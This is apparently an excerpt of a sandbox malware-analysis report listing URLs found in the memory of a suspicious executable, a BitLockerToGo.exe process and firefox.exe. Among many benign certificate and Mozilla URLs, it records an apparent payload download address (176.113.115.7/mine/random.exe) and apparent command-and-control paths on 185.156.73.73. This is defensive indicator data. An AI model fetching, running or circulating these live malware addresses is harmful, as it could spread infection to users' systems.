Source: 4bcefcec83.exe, 00000014.00000002.2544142655.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.0000000001719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exefra
Source: 4bcefcec83.exe, 00000014.00000002.2544142655.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.0000000001719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exeg:
Source: 4bcefcec83.exe, 00000014.00000002.2544142655.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.0000000001719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exeq
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1422323052.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1398850009.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1375760314.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1446036899.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1352608977.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/info
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1422323052.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1398850009.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1375760314.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1446036899.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1352608977.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/infoData
Source: BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/service
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/serviceJ
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1422323052.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1398850009.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1375760314.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1446036899.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/serviceS
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1422323052.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1398850009.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1446036899.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/serviceV
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1446036899.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/serviceb
Source: BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1446036899.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/servicei
Source: BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B66000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/servicel
Source: BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/success?substr=mixfour&s=three&sub=non
Source: BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/update
Source: BitLockerToGo.exe, 0000000D.00000003.1636421770.0000000004EC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/ycl
Source: BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/ycl-K
Source: BitLockerToGo.exe, 0000000D.00000002.1654839234.0000000004EC6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1649656079.0000000004EC6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1636421770.0000000004EC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.73/yclUg
Source: 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2262795221.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3674224174.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3886428240.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2262795221.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/gsr1.crl0
Source: 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2262795221.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r4.crl0
Source: 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2263022263.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/we1/s77gqC02Wgo.crl0
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.1784176198.000001486CBA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000024.00000002.1725456805.000001486525E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000024.00000002.1725456805.000001486525E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.p
Source: 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2262795221.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3674224174.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3886428240.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2262795221.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crt0-
Source: 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2262795221.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r4.crt0
Source: 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2263022263.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt0/
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000024.00000002.1809953714.0000227472E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 00000024.00000002.1809953714.0000227472E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.oZ
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1754121691.000001486A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1808945899.0000031879D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000024.00000002.1809953714.0000227472E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1810797966.00002A78B7200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1809649284.00001529C5B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1751496397.000001486A4C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000024.00000002.1810797966.00002A78B7200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 00000024.00000002.1785528103.000001486CC08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1750027889.000001486A3EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1744488389.0000014869A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1696830372.000001486A930000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1614120857.000001486A3EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1700015526.000001486A936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1796327904.0000014871C9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1799120110.0000014871E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1759085724.000001486A928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1788324648.000001486D179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1676378053.0000014871EBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1762835110.000001486AC82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1784176198.000001486CB23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1744488389.0000014869ACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1800568238.0000014871F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1742751564.0000014869707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1796327904.0000014871CF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1790270790.000001486D6A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1801127547.0000014872084000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1759085724.000001486A9A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000024.00000002.1810797966.00002A78B7200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: 4bcefcec83.exe, 00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2263022263.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975495813.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2258892610.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/M2w0%
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 4bcefcec83.exe, 00000014.00000003.2359881448.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000002.1788324648.000001486D179000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000024.00000002.1788324648.000001486D179000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
